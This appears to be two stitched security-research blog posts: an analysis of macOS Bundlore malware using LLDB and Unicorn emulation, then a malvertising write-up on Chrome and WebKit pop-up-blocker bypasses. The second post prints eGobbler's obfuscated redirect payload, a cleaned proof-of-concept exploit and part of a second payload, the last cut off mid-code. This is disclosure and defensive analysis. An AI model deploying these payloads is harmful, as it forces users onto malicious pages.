The most critical part of this script is the custom callback for the breakpoint created for the write() function . This custom callback should extract Python data from memory and write it to a file /tmp/dumped.py, so we have to somehow access the parameters of this function and use them to locate the data being written.

Let’s have a look at write() function prototype, from the man pages :

The first argument fildes is a file descriptor (of an open file or an existing pipe like in our case). The second argument buf is the one we interested in, as it contains an address pointing to the start of the stackstrings constructed by the OSX/Bundlore Loader.

We have an x86_64 Register Calling Convention, so we know that the $rsi register will contain the second argument buf that we are interested in. We will use ReadUnsignedFromMemory to read byte per byte starting from the memory address pointed to by the $rsi register until we find a null byte, and dump the content to a file : /tmp/dumped.py

An example of an implementation is as following:

If we run the custom command bundlore_python_dump in LLDB we will get the following :

Note: All the scripts written in this blog have been tested on the latest macOS Catalina 10.15.1, with lldb-1100.0.30.6, Apple Swift version 5.1.2 (swiftlang-1100.0.278 clang-1100.0.33.9) which is shipped with Python 3.7.3.

The full Python script of this custom LLDB command “bundlore_python_dump” can be found here.

Checking the content of /tmp/dumped.py will reveal the final Python hidden payload :

In a more clear view:

Which is an Opy obfuscated Python script!

Voila! We have what we need to continue our analysis.

LLDB child process issue

There’s a downside using our custom LLDB command bundlore_python_dump. Remember this is not emulation, and we are actually executing code with a debugger. The child process created via fork() will freely run in the background and will execute the hidden Python payload out of our control (leading to the infection of our testing virtual machine!)

Unlike GDB, LLDB has no control over the child process. GDB has the command “follow-fork-mode child” that enables GDB to automatically attach to the child process and continue debugging it, but LLDB doesn’t have such command.

Let’s find a way to control the child process..

Follow-fork-mode child, LLDB implementation

We will use the LLDB Python API to implement a custom command and call it follow-fork-child that will be the equivalent to the follow-fork-mode child command in GDB.

follow-fork-child LLDB custom command will enable us to automatically attach and debug the child process to ultimately have full control over it.

Here’s an idea of implementation that consists of “freezing” the child process before attaching to it :

• Find the ideal memory address to patch the child process. Usually the first opcodes that are executed right after the fork() by the child process (when pid == 0), we will refer to it as “child entry-point”.

• Save the original bytes present at the “child entry-point” and save them somewhere in memory. We will refer to them as “backup bytes”.

• Patch the “child entry-point” with the instruction EB FE. When executed the child process will enter into an infinite loop. This will temporarily “freeze” the newly created child process and prevent it from executing any other instruction.

• Write a function to generically find the pid of the child process.

• Attach to the “frozen” child process using its pid.

• Re-patch the “child entry-point”, with the “backup bytes” we saved earlier. We have to restore its original context to “unfreeze it”.

• Profit. (see Next steps)

Note: The idea explained above is not a novel or new technique, this is what we use when we manually debug process memory injections aka process hollowing on Windows. Other malware analysts might follow other techniques, but this has the guarantee that no single instruction was executed in the target process (the child process here) before we attach to it.

Next steps:

• Option 1: Specifically for OSX/Bundlore Loader, we want to kill the child process as soon as we attach to it. Since we already dumped the hidden Python payload from the parent process, there’s no need to execute more instructions in the child process.

• Option 2: In case of any other malware, we want to attach to the child process, “unfreeze it” and continue debugging it and setting breakpoints, etc.. and have full control with the debugger.

Both of Option 1 and Option 2 will be covered below:

We will implement this custom LLDB command in different steps and we will call it follow-fork-child:

The first step would be to put a breakpoint on the fork() call. Any breakpoint on the child process code will be out of reach (remember the LLDB limitation on child processes), so let’s define a breakpoint on the fork () call:

And define our custom callback function that will do the following:

This function fork_callback() will be called when the breakpoint on the fork() function is hit. This function will patch a memory address containing the first bytes right after the fork() that will be executed by the child process and not the parent.

This memory address is located at 0x10000AC87 (aka “child entry-point”) and originally contains the bytes 8B 7D E4 (aka “backup bytes”). We highlighted them below:

We will patch these bytes with EB FE instruction, which is basically an infinite loop in assembly.

We will also store the bytes 8B 7D (0x7d8b) present at 0x10000AC87 because we will need them later to restore the original context of the child process.

As of now let’s run our custom command follow-fork-child in LLDB and check the results:

Great! Highlighted in blue above we can see the code of the “child entry-point” (at 0x10000ac87) got patched with our new instruction “eb fe”. Hitting continue at this point, a child process will be created and will run in the background inside an infinite loop. We can confirm that by attaching to this new child process using another instance of LLDB:

Perfect! The code was successfully patched and executed! We can now attempt to attach to this child process, from LLDB Python API, and re-patch it with the “backup-bytes”.

We need to perform this patch from the parent process while the child process is stuck inside an infinite loop (aka “frozen” state).

A perfect location to perform this re-patching task will be within the call to waitpid() in the parent process.(It can be literally in any memory address executed by the parent process right after the fork(), but for the sake of simplicity we choose waitpid().

Let’s define a custom breakpoint callback for the waitpid() call as following:

And lets write our custom callback for our waitpid() breakpoint. The function is a bit long, so we will show it in different parts:

• First, we need to find a generic way to attach to the newly created child process. We can get the current debugged executable file name via SBTarget.GetExecutable().GetFilename(), and get the current process ID of the current debugged process via SBProcess.GetProcessID() and pass these two elements to a function get_child_pid() that will return the pid of the direct child process:

The get_child_pid() will use the unix command pgrep, to list all process with the same filename as our parent process. We will select the first pid that is greater than the parent process pid:

Note: This implementation can be raced by another process, but we assume for the sake of simplicity for this exercise that the testing environment doesn’t have such constraints

We will use the child process pid , and will attempt to attach to it via SBTarget.AttachToProcessWithID():

Once attached to the child we can start patching the “child entry-point” (at the same memory address 0x10000ac87) with the “backup bytes” we saved initially :

Let’s run our custom command follow-fork-child again with the newly added modifications and check the results:

Great, we are now attached to the child process and we have restored the original context!

To test that the original context was successfully restored, we will put a breakpoint in an instruction that will be executed by the child process, and see if that breakpoint will get hit. We know at this point that the child process will end up running execv(). So let’s setup a breakpoint in execv() and see what’s up:

Indeed, execv() breakpoint was hit, plus execv() is about to launch a Python process: /usr/bin/python. Our initial assumptions turned out to be valid.

Voila! Our custom LLDB command follow-fork-child allowed us to attach to the child process and have full control over it. We confirmed that by setting a breakpoint on execv() and have the trap handled by the debugger.

The full Python script of our custom LLDB command follow-fork-child can be found here.

Since we are now able to attach and have full control over the child process, let’s modify our previous custom LLDB command bundlore_python_dump.

Our goal is to dump the hidden Python payload without leaving a chance for the malware to execute via fork(). So we will use what we have learned so far to dump the hidden Python payload from the parent process, then we will attach to the “frozen” child process that is about to execute the Python payload and kill it :

As we can notice above, we only have to add two instructions child.Stop() and child.Kill() to the custom callback for the waitpid() breakpoint and add this to the bundlore_python_dump code.

We also need the add custom fork() callback as it is and add it to the bundlore_python_dump code as well.

Note: With the difference with follow-fork-child we do not need to restore the context of the “frozen” child process in bundlore_python_dump because the goal is just to kill it, not to continue debug it.

So without further ado let’s run this beefed up version of bundlore_python_dump :

And that’s a wrap. We extracted the hidden Python payload and we prevented OSX/Bundlore Loader from launching it in our testing virtual machine!

The full Python code of this second version of bundlore_python_dump is available here.

Analyzing OSX/Bundlore Loader Using Emulation

Emulator vs Debugger

In the previous section of this blog post, we explained how to use LLDB and its Python API to dump the hidden Python payload. We faced a couple of limitations and we overcame them by developing custom LLDB commands.

The downside of using a debugger is the debugger it self: We are executing malware code instructions with the real CPU of our testing virtual machine.

While that might be a security risk that we can measure, we need to run our analysis tools unattended and at scale. Running a debugger on a large number of binaries is unimaginable, and we want a tool that minimizes the risk of infection.

We want a multi-platform and multi-architecture CPU emulator that can allow us to analyze malware binaries in a platform they cannot infect.

For example, analyzing Windows malware on a Linux server, or a macOS malware on a Windows Server , etc. This can be performed by a powerful Emulator such as Unicorn Engine.

Enter Unicorn Engine

Unicorn Engine needs no introduction. It is one of the most complete tools for emulation that exists. More information on how to install it and use it can be found here.

Luckily for us, this tool provides Python bindings! So we will use them for this exercise.

We will write a proof of concept to emulate one of the 9 functions that setup the stackstrings in order to extract them to a file.

Unicorn Engine can be imported as a module in Python via the following:

We will start initializing the Unicorn Engine by specifying architecture details: UC_ARCH_X86, UC_MODE_64:

Then we have to tell UC the base address of our binary which is 0x100000000. We then have to map our heap space and stack space that our emulated program will use for its execution. The size of the binary we want to emulate is about 43KB so we will create 64KB to stay aligned. For the stack we estimate half of this binary is filled with stackstrings, so we will allocate 32KB.

We will use mem_map for that purpose:

We will write our binary in the memory space we just allocated. We will also point the RSP register to the end of our stack. (The stack grows downward for the x86 arch ABI):

Then we simply start the emulator by passing the start and stop address:

For this proof of concept, these two addresses are basically the first and the last addresses of the function _funct0:

And Voila! Our Unicorn engine is ready.

If we start the emulation as it is, it will do nothing special apart from emulating the instructions and exit. We will have to tell Unicorn Engine what we want to accomplish. (Unicorn Engine cannot read our minds yet.)

The most important function in Unicorn Engine is hook_add(). This function will call a callback function we define (hook_code) every time just before an instruction is emulated (by passing UC_HOOK_CODE as first argument). So this function is a good place to write our custom hooks:

Let’s define our callback function hook_code() but we have to take care of some special cases that we usually encounter when emulating specific parts of code from binaries in general.

The CPU emulator will “naively” emulate all the instructions that it finds including all sort of code branches, function calls, etc.. In fact, all jmp and call instructions will be followed. Some of the call instructions will ultimately fail since they might be calling external functions (libraries, etc..), so for the sake of simplicity we will just skip these instructions, with the exception of the ones we are interested in.

To skip unwanted instructions, in particularly call instructions (having opcode 0xE8) we will point the RIP register to the next instruction following the current emulated instruction.

And we will add an exception for the write() call located at 0x100002a2b , because that the only function that we are interested in.

As we know write() is an important function in this exercise, as it will write the stackstrings into the pipe. We saw previously that RSI register points to an address where the stackstrings are fully setup, so we just have to read the address stored in the RSI register and start copying the hidden Python code found in that address to an external file /tmp/dumped.

We will use mu.reg_read to read the memory address stored in RSI, and mu.mem_read to read data from it:

We have implemented a class called bundlore_emulation where most of the code that initializes the engine will be stored.

hook_code() and load_binary() are abstract methods, which means we can customize them in other custom classes inheriting from bundlore_emulation:

The full Python code of bundlore_emulation class can be found here.

After we have to create a custom class BundloreDump that inherits from bundlore_emulation where we will implement our hook_code() and load_binary() with the code we want:

The full code BundloreDump class can be downloaded here.

Running the above POC emulation script will give us the following:

And voila! We have our hidden Python payload dumped into /tmp/dumped.py, same as we did with LLDB Python API, but this time without executing any code directly with the CPU of our testing virtual machine, but via a CPU emulator!

Dumping the rest of the functions and reconstructing the full hidden Python code using the techniques learned in this proof of concept is left as an exercise to the readers.

We hope this proof of concept will give enough inputs to perform this task.

What’s inside that hidden python?

Steps for decoding Python hidden payload

Now that we have seen many ways to dump the hidden Python payload, let’s start de-obfuscating it to understand what it does.

The hidden Python payload that we initially extracted from the stack strings has this form:

Decoding it by replacing the eval() with a print(), we will get the following second stage:

Decoding it by replacing the exec() with a print(), we will get the following 3rd stage:

The 3rd stage with some manual decoding:

Basically the Python code will download (via curl) from the server appsdown.urbanvillager[.]xyz an archive stmp.tar.gz containing a malicious macOS application named mm-install-macos.appand store it inside /private/tmp/.mmstmp/ It will then decompress it and execute the application’s main binary in ./mm-install-macos.app/Contents/MacOS/mm-install-macos which is a fresh copy of OSX/Bundlore !

Conclusion

The sad part is that everything run via Bash/Python is completely out of reach by GateKeeper, XProtect, Endpoint *Security* Framework, on macOS.

Also the downloaded and executed macOS Bundlor, mm-install-macos.app, is un-signed and was authorized to run! Same as for the OSX/Bundlore Loader that is also un-signed!

As for the initial AdobeFlashPlayer.app, it is also un-signed no Apple Developer ID certificate was used. How this attack can be successful if the chain of binaries executed, loaded or downloaded during this infection are ALL unsigned altogether?

It seems for this campaign the attackers didn’t bother to sign their malware, but rather used a simple “social engineering” technique.

The technique is to ask users politely to right click on the AdobeFlashPlayer.app as soon as the AdobeFlashPlayer.dmg file is mounted:

Doing so the current user will override system security settings for Gatekeeper and the app will be authorized to run, even if it was initially blocked by GateKeeper (because it is unsigned):

By clicking Open, the user will override system security setting. Apple shows a User consent pop-up to warn the user on what is about to happen:

Indeed, upon clicking Open, the user gets infected. Everything that was further executed with Bash/Python, all the downloads and the execution of unsigned code, were allowed to run:

It is important to note that this same behavior occurred when choosing the option “Allow apps downloaded from App Store”:

Here The app was indeed blocked because it was not downloaded from the App Store:

Nevertheless, if the user choses right-click open:

The User will override system security settings again:

The user will end-up getting infected as well:

It seems that the only security measure at this point offered by Apple against a user tricked into running unsigned code (by means of social engineering or any other technique), is a user consent pop-up warning that something bad might happen. Everything downloaded or executed after that user consent pop-up will be allowed in macOS Catalina 10.15.1

It is worth noting that Apple might stop delivering pre-installed Python in future macOS releases:

But that will not fix this Gatekeeper issue and will not prevent malware from executing in the system.

Until then, macOS Catalina, and its predecessor are still vulnerable to this one of many, simple but effective social engineering tricks.

The cool part is we documented how multiple techniques do exist to analyze OSX/Bundore Loader and extract the hidden payload automatically:

• Using the LLDB debugger and its Python API.

• Using the Unicorn Engine and its Python bindings.

For instance, the two custom LLDB commands we developed can be re-used to dump any other malware forking into another process.

The techniques we learned in the Emulation part can also be re-used to emulate selectively any part of the code of any malware in any platform!

IOCs

Malicious SHA-256 hashes:

fd92b5236742c66013a9ccbd44659f1bcba0865d7c0169afa4904f5c6ed96e8e dc7ad37ee8f253150f85548575cc589210aa3d172fcccf52cb48d3e481b67e62 549a4060effe5423fe2bb85b5aa22a70b558bd5fa4c2de9acfda3c76da532b23 254951ce0f0b282f16c31a69b1951b5484c2fcae1ef20172758ec1bdf8798305 ac86946f8badb74a044509705da31a30be396bc09f8394e0b88f0f306d9eade3

Malicious Domains contacted:

http://appsdown[.]urbanvillager[.]xyz/ioffers.tar.gz?ts=[timestamp]

Archive: This article was originally published on our Confiant Medium blog on December 10, 2019.

Stock Photo via Unsplash.com

We have written about the threat actor eGobbler extensively on our blog over the last year as they’ve continued to emerge as a prolific source of malvertising. It’s not uncommon for their campaigns to compromise up to hundreds of millions of programmatic ad impressions in a matter of hours and the impact from their ongoing activity is felt across the United States and Europe.

Over the past 6 months, the threat group has leveraged obscure browser bugs in order to engineer bypasses for built-in browser mitigations against pop-ups and forced redirections.

This blog post will provide overviews and proof of concepts for both browser exploits. The first exploit that we reported on April 11, 2019 impacts Chrome versions prior to 75 on iOS. The second, which we reported on Aug. 7 was fixed in iOS 13 / Safari 13.0.1 on Sept. 19, impacts WebKit based browsers.

CVE-2019–5840

Our last published eGobbler investigation from earlier this year uncovered that the malvertiser was leveraging a Chrome exploit in order to bypass the browser’s built-in pop-up blocker on iOS devices. The impact was augmented by the fact that the bypass was completely unmitigated by iframes with standard ad serving sandbox attributes:

https://blog.confiant.com/massive-egobbler-malvertising-campaign-leverages-chrome-vulnerability-to-target-ios-users-a534b95a037f

Upon uncovering the bug that was being leveraged by the group, we immediately reported it to the Chromium team, where it was promptly addressed and fixed in the Chrome 75 release (CVE-2019–5840):

https://chromereleases.googleblog.com/2019/06/stable-channel-update-for-desktop.html

On Aug. 7th, the Chrome team finally lifted the security view restrictions on the report that we submitted, making our POC exploit code publicly available:

https://bugs.chromium.org/p/chromium/issues/detail?id=951782

The exploit code was reverse engineered from eGobbler’s original obfuscated payload:

<html><body><script>window.xurl_=’hxxps://REDACTED/track/d8cb642b-c0d4-49d0-b256-fe56f9e7e842?siteid=7fa62502d2e75668b2de2e96980cd647&var1={sitedomain}&var6=7fa62502d2e75668b2de2e96980cd647&var5=1’;setTimeout(()=>{try{top.location.href=’hxxps://REDACTED/track/d8cb642b-c0d4-49d0-b256-fe56f9e7e842?siteid=7fa62502d2e75668b2de2e96980cd647&var1={sitedomain}&var6=7fa62502d2e75668b2de2e96980cd647&var5=2’;}catch(e){}},9000);var a=[’EcOeJ0vDug==’,’HiAiw5w3’,’w5/CnW0tVA==’,’bMKdwqMDBQ==’,’wrDCu8KcwohZ’,’w6MpTcKXwp8=’,’R8OawofCncOi’,’A23CkmLClw==’,’w4bDscOkwoHDsA==’,’w6IRw4IZwqY=’,’w5wKw542woQ=’,’w781wpPCgUXDgg==’,’w64qwrDChm8=’,’w4QkUsKCw7lMw5ISNsK5w6zCgA==’,’w706WcK4wpY=’,’w6MVwo3Cm2Q=’,’K8OKw57DsEk=’,’w6MuRsKwwo8=’,’wrrDgMK0GMKh’,’w5TClsOaEEY=’,’CEjDljcs’,’w43DjsKsIcKnwqnCv8OGSMO9w6cMLG5LNMK7JkNJKcKtSCVzw7ZccHB8w4Jmw6J0BQnCg8KsMMO/w6bCp8KYLWx4w5vDpijDmFdNWMKIwp3CmmHDgkHCq8KjwpEiw5TDj0XDjMOVw5I8bsOWdsOYw57Doh3CtsKQw7PDmRTCtVbDt8KWw4PDlk8mwos=’,’f8Oqw5t5wpQ=’,’Oik2w7kxOyLDlsOVFcO/w7jCtxBfIcOfR8O9wowowoUww4bDjykBVcKZwoYDKMKnw7fDkcKGwotgXMKkw4QtSBkAw6hJP3oDw4nCigbCksKiSMKqRj/Cgz8/LELCtsOKw5ViTQNfD8Kdw5YSKiNDw5nCpsKWw5vCsXTCtcKjw7zDmQk5w4rChMOMGw4sTCfCgG4iBMKfw7U=’,’w5zCuWI+XA==’,’wrF6wpjDhBHDmyk/wrTDpcOVYHRXBMKfwpzCucKmDMOmw5bCli3CozY=’,’XSDCt8OmQQ==’,’B8KeSHsdw7QvNsKzHQnCom7ClsOXbMKtJnA8EVrDkMKmCMKVSsOqLB3DucOFNcOIwqPCnCHDvMKmwq7DpCPCisOpKsKYw5IVPSNBw7FmUcKtw65xOcOxwpoUw4HDsMKjw6fDmDbClA==’,’WF7Ct1ss’,’FRdjIsOfw67DmVnCmBXCs8OaBsOSJjrCmQ9+Pw4V’,’LSwBw7sK’,’ZcKBw5LDgXE=’,’LcOlA8O2wqDCqg==’,’U8KAwps8BA==’,’F33CjmnCvGc=’,’w6s9TcKewq5Qw78PO8K4’,’w6YgwpfCjU/ChlwtwrXDrA==’,’d3LDsz8oT8KRw6dRwp5t’,’w5fDgsOXwpvDtA==’,’wrjCmcK5wq9/’,’w7nCqlguaw==’];(function(c,d){var e=function(f){while(--f){c[’push’](c[’shift’]());}};var g=function(){var h={’data’:{’key’:’cookie’,’value’:’timeout’},’setCookie’:function(i,j,k,l){l=l||{};var m=j+’=’+k;var n=0x0;for(var n=0x0,p=i[’length’];n<p;n++){var q=i[n];m+=’;\x20’+q;var r=i[q];i[’push’](r);p=i[’length’];if(r!==!![]){m+=’=’+r;}}l[’cookie’]=m;},’removeCookie’:function(){return’dev’;},’getCookie’:function(s,t){s=s||function(u){return u;};var v=s(new RegExp(’(?:^|;\x20)’+t[’replace’](/([.$?*|{}()[]\/+^])/g,’$1’)+’=([^;]*)’));var w=function(x,y){x(++y);};w(e,d);return v?decodeURIComponent(v[0x1]):undefined;}};var z=function(){var A=new RegExp(’\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}’);return A[’test’](h[’removeCookie’][’toString’]());};h[’updateCookie’]=z;var B=’‘;var C=h[’updateCookie’]();if(!C){h[’setCookie’]([’*’],’counter’,0x1);}else if(C){B=h[’getCookie’](null,’counter’);}else{h[’removeCookie’]();}};g();}(a,0xaf));var b=function(c,d){c=c-0x0;var e=a[c];if(b[’mjzByd’]===undefined){(function(){var f=function(){var g;try{g=Function(’return\x20(function()\x20’+’{}.constructor(\x22return\x20this\x22)(\x20)’+’);’)();}catch(h){g=window;}return g;};var i=f();var j=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;i[’atob’]||(i[’atob’]=function(k){var l=String(k)[’replace’](/=+$/,’‘);for(var m=0x0,n,o,p=0x0,q=’‘;o=l[’charAt’](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String[’fromCharCode’](0xff&n>>(-0x2*m&0x6)):0x0){o=j[’indexOf’](o);}return q;});}());var r=function(s,t){var u=[],v=0x0,w,x=’‘,y=’‘;s=atob(s);for(var z=0x0,A=s[’length’];z<A;z++){y+=’%’+(’00’+s[’charCodeAt’](z)[’toString’](0x10))[’slice’](-0x2);}s=decodeURIComponent(y);for(var B=0x0;B<0x100;B++){u[B]=B;}for(B=0x0;B<0x100;B++){v=(v+u[B]+t[’charCodeAt’](B%t[’length’]))%0x100;w=u[B];u[B]=u[v];u[v]=w;}B=0x0;v=0x0;for(var C=0x0;C<s[’length’];C++){B=(B+0x1)%0x100;v=(v+u[B])%0x100;w=u[B];u[B]=u[v];u[v]=w;x+=String[’fromCharCode’](s[’charCodeAt’](C)^u[(u[B]+u[v])%0x100]);}return x;};b[’ZXxSdo’]=r;b[’eKRqiN’]={};b[’mjzByd’]=!![];}var D=b[’eKRqiN’][c];if(D===undefined){if(b[’KqyMIp’]===undefined){var E=function(F){this[’OYfmTn’]=F;this[’JhgoEm’]=[0x1,0x0,0x0];this[’ywIcjZ’]=function(){return’newState’;};this[’QoQavM’]=’\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*’;this[’UAFKvX’]=’[\x27|\x22].+[\x27|\x22];?\x20*}’;};E[’prototype’][’xLdhmX’]=function(){var G=new RegExp(this[’QoQavM’]+this[’UAFKvX’]);var H=G[’test’](this[’ywIcjZ’][’toString’]())?--this[’JhgoEm’][0x1]:--this[’JhgoEm’][0x0];return this[’tWvXeR’](H);};E[’prototype’][’tWvXeR’]=function(I){if(!Boolean(~I)){return I;}return this[’SGfhNf’](this[’OYfmTn’]);};E[’prototype’][’SGfhNf’]=function(J){for(var K=0x0,L=this[’JhgoEm’][’length’];K<L;K++){this[’JhgoEm’][’push’](Math[’round’](Math[’random’]()));L=this[’JhgoEm’][’length’];}return J(this[’JhgoEm’][0x0]);};new E(b)[’xLdhmX’]();b[’KqyMIp’]=!![];}e=b[’ZXxSdo’](e,d);b[’eKRqiN’][c]=e;}else{e=D;}return e;};var c=function(){var c=!![];return function(d,e){var f=c?function(){if(e){var g=e[’apply’](d,arguments);e=null;return g;}}:function(){};c=![];return f;};}();var H=c(this,function(){var c=function(){return’\x64\x65\x76’;},d=function(){return’\x77\x69\x6e\x64\x6f\x77’;};var e=function(){var f=new RegExp(’\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d’);return!f[’\x74\x65\x73\x74’](c[’\x74\x6f\x53\x74\x72\x69\x6e\x67’]());};var g=function(){var h=new RegExp(’\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b’);return h[’\x74\x65\x73\x74’](d[’\x74\x6f\x53\x74\x72\x69\x6e\x67’]());};var i=function(j){var k=~-0x1>>0x1+0xff%0x0;if(j[’\x69\x6e\x64\x65\x78\x4f\x66’](’\x69’===k)){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m[’\x69\x6e\x64\x65\x78\x4f\x66’]((!![]+’‘)[0x3])!==n){n(m);}};if(!e()){if(!g()){i(’\x69\x6e\x64\u0435\x78\x4f\x66’);}else{i(’\x69\x6e\x64\x65\x78\x4f\x66’);}}else{i(’\x69\x6e\x64\u0435\x78\x4f\x66’);}});H();window[b(’0x0’,’O)QW’)]=setInterval(function(){var m={};m[b(’0x1’,’O)QW’)]=b(’0x2’,’)v*V’);m[b(’0x3’,’Tmlx’)]=function(n,o){return n>o;};m[b(’0x4’,’O)QW’)]=function(p,q){return p<q;};m[b(’0x5’,’95Sf’)]=function(r,s){return r-s;};m[b(’0x6’,’)v*V’)]=function(t,u){return t(u);};m[b(’0x7’,’7Llt’)]=function(v,w){return v+w;};m[b(’0x8’,’sT%r’)]=function(x,y){return x+y;};m[b(’0x9’,’T%W!’)]=b(’0xa’,’7Llt’);m[b(’0xb’,’uheO’)]=b(’0xc’,’&DOL’);m[b(’0xd’,’c]am’)]=b(’0xe’,’O)QW’);m[b(’0xf’,’lDi*’)]=b(’0x10’,’&i38’);m[b(’0x11’,’CpNG’)]=function(z,A,B){return z(A,B);};var C=D=>{let E=document[b(’0x12’,’Kt)5’)](m[b(’0x13’,’&DOL’)]);if(E&&m[b(’0x14’,’GWeg’)](E[b(’0x15’,’9Os7’)],D))for(let F=0x0;m[b(’0x4’,’O)QW’)](F,m[b(’0x16’,’O1@^’)](E[b(’0x17’,’^Piw’)],D));++F){let G=E[F];G[b(’0x18’,’)v*V’)]&&G[b(’0x19’,’O)QW’)][b(’0x1a’,’2lYq’)](G);}};document[b(’0x1b’,’IoES’)](m[b(’0x1c’,’WijS’)](m[b(’0x1d’,’c]am’)](m[b(’0x1e’,’*UC1’)](m[b(’0x1f’,’&DOL’)](m[b(’0x20’,’c]am’)](m[b(’0x21’,’O1@^’)],m[b(’0x22’,’WijS’)]),window[b(’0x23’,’)v*V’)]),m[b(’0x24’,’h[Ke’)]),window[b(’0x25’,’^Piw’)]),m[b(’0x26’,’IoES’)]));m[b(’0x27’,’HyXk’)](setTimeout,()=>{m[b(’0x28’,’HyXk’)](C,0x1);},0x0);},0x12c);</script></body></html>

Given that most forced redirections are generally a minimal variation of the same one liner, this one caught our attention due to its complexity.

In order to get a handle on what was happening here, we began the process of staging this tag in a series of cross-origin iframes on multiple devices (with and without sandboxing enabled).

For reference, standard ad serving sandbox attributes include the following:

“allow-forms allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation”

We already knew that this specific campaign was targeting mobile devices, so we checked those first. Shockingly, we found that even when the sandbox parameters were present, a pop-up would be spawned when the user tapped on the parent page. The Chrome browser on iOS was impacted, whereas other mobile and desktop browsers successfully blocked the pop-up.

We re-implemented the exploit as a proof of concept without the bloat:

<html>
    <head></head>
    <body>
        <script>
            window[”looper”] = setInterval(function() {
                var inputPayload = ‘<input type=”text” class=”badInput” style=”width:0px;height:0px;border:0px;” autofocus onblur=”javascript:window.open(\’hxxps://www.popuppayload.com/\’);”>’;

                // doc.write the tag
                document.write(inputPayload);

                // queue the cleanup function
                setTimeout(function(){
                    var inputs = document.getElementsByClassName(”badInput”);
                    if (inputs.length > 1){
                        for ( i =0; i < inputs.length; ++i){
                            inputs[i].remove();
                        }
                    }
                },0);

            }, 300);
        </script>
    </body>
</html>

Timeline

April 11 — We reported the bug to both the Chrome and Google anti-malvertising teams. We heard back within several hours.

April 17 — Proposal for a fix from the Chrome team.

June 4 — Fix was included in the Chrome 75 release and CVE-2019–5840 issued:

https://chromereleases.googleblog.com/2019/06/stable-channel-update-for-desktop.html

August 7 — View restrictions removed from Chrome bug report.

A New Bug — This Time In WebKit

Coincidentally, at around the same time that the view restrictions on the original Chromium ticket were lifted, a new eGobbler payload surfaced:

<html><body><script>window.xurl_=’hxxps://REDACTED’;setTimeout(()=>{try{top.location.href=’https://REDACTED’;}catch(e){}},7000);var a=[’VXfCtCrDvQ==’,’wok/wozDlMO6’,’w6PDqcOCcEY=’,’wpAHGWXCiQ==’,’JgE5aMOlwok=’,’HiPCnCfCuA==’,’YcOmEgbCkzwNwpPCjh7CiT/CoMK7wr4=’,’BxQsUcOq’,’NiLDoA7DtQ==’,’wq5uwrlWwqE=’,’QMO0JB/CpQ==’,’IwnCtDjCjQ==’,’R1LCv0JsdA==’,’O37CtB3DhQ==’,’JS5A’,’wpZmO0EO’,’LBkucsOy’,’GcONBBVC’,’E1zCu8Omw5/Djjw6wqASw7I=’,’LcKJP8O+wo4=’,’wqbDm8OXOC4kwpPCo8OH’,’HsO0AkPCqA==’,’PRvCusOhQsOJAMOpe8KNFg==’,’w4vCsBZlw6k=’,’O8OnIyViwrc9BgB5Oyo=’,’IcKFwqFhwpk=’,’w6c0w6pAwrs=’,’DzwgwqDCig==’,’wroFw5Fz’,’EcO/O3bCkw==’,’NEFFwqrCqMOTw5lvcSBmZyBVw7J2HcKIwpjCl1vDg3DCgMKsfnTCvMK3wrFKRWosXMKZUsK3w6Y=’,’wocBwrrDnMOy’,’wr/ClDfDinBtw6da’,’E2LClwbDnQ==’,’R0TCuR09eDlZC8K5wrzCvMKDwoZoK8KXYhDDrcKhwrDDvh3CmsKrw6hCa8O6KsKtw5gaw6dwOcKqWGLDnRTDusOtwpIDXcO5XmnCvMK5GGPCgMKbwrIhwoPCtDbCuUZWFcOzw6zChMK1fsK8J8OzwrA=’,’IxXCr8OBwpI=’,’Z8K9wqxgwqpXw4fDrsKZw5rCgRLCmMKlwoxLcj3CuSHDv18=’,’w4oXBF3CjA==’,’CCrDoQbDmw==’,’dFsEw71Cw68=’,’I8K/wrdDwpc=’,’QidJdy0=’,’wqE0EQHCjsOl’,’D8OUbywzUGBHwpoT’,’c8ODw7zCq8O+w4jDsmjDtcKB’,’w4ITBHvClcOzw45Pw6FxMA==’,’JAEQwpHCtMKzwr7DhcKdasKiw68y’,’w5XCmMKXw5zCog==’,’wr90BWkecA==’,’UAhrSxA=’,’w6XCusK2w77CkA==’,’w43DvsOoS3w=’,’LlRFw5XCs8OJw4BjajF9dQ==’,’KsK0GsO3wrM=’,’U8KPbQx5’,’WcKsXUoBw6FdwqIzwrzDiMK4’,’JMKIGMOvwoI=’,’wqR0GE8CcMK7c8OJw7g9w5w=’,’wqTDt8OLBQY=’,’w780w6vCqhM7dcO3OcOQM8K4’,’w7klA8KHwqY=’,’UcK5X0rCjh90w4nDh8KZEmg=’,’TcO3FxbCjg==’,’wrV+CHc=’,’worDmMOYJw==’,’w64DaEfCvsK4wo7Dgypc’,’T8Oqwo5r’,’wrZhHGsYYMKKcsOCw6Et’,’a0wJw75Zw6Q=’,’VsKPX3HCsQ==’,’w5A8cSEP’,’w6nDqsOjekA=’,’LjcXQMOI’,’wqjDoMOHw6DChw==’,’PzI7wqnCgg==’,’wpwAwo7Dk8OI’];(function(c,d){var e=function(f){while(--f){c[’push’](c[’shift’]());}};var g=function(){var h={’data’:{’key’:’cookie’,’value’:’timeout’},’setCookie’:function(i,j,k,l){l=l||{};var m=j+’=’+k;var n=0x0;for(var n=0x0,p=i[’length’];n<p;n++){var q=i[n];m+=’;\x20’+q;var r=i[q];i[’push’](r);p=i[’length’];if(r!==!![]){m+=’=’+r;}}l[’cookie’]=m;},’removeCookie’:function(){return’dev’;},’getCookie’:function(s,t){s=s||function(u){return u;};var v=s(new RegExp(’(?:^|;\x20)’+t[’replace’](/([.$?*|{}()[]\/+^])/g,’$1’)+’=([^;]*)’));var w=function(x,y){x(++y);};w(e,d);return v?decodeURIComponent(v[0x1]):undefined;}};var z=function(){var A=new 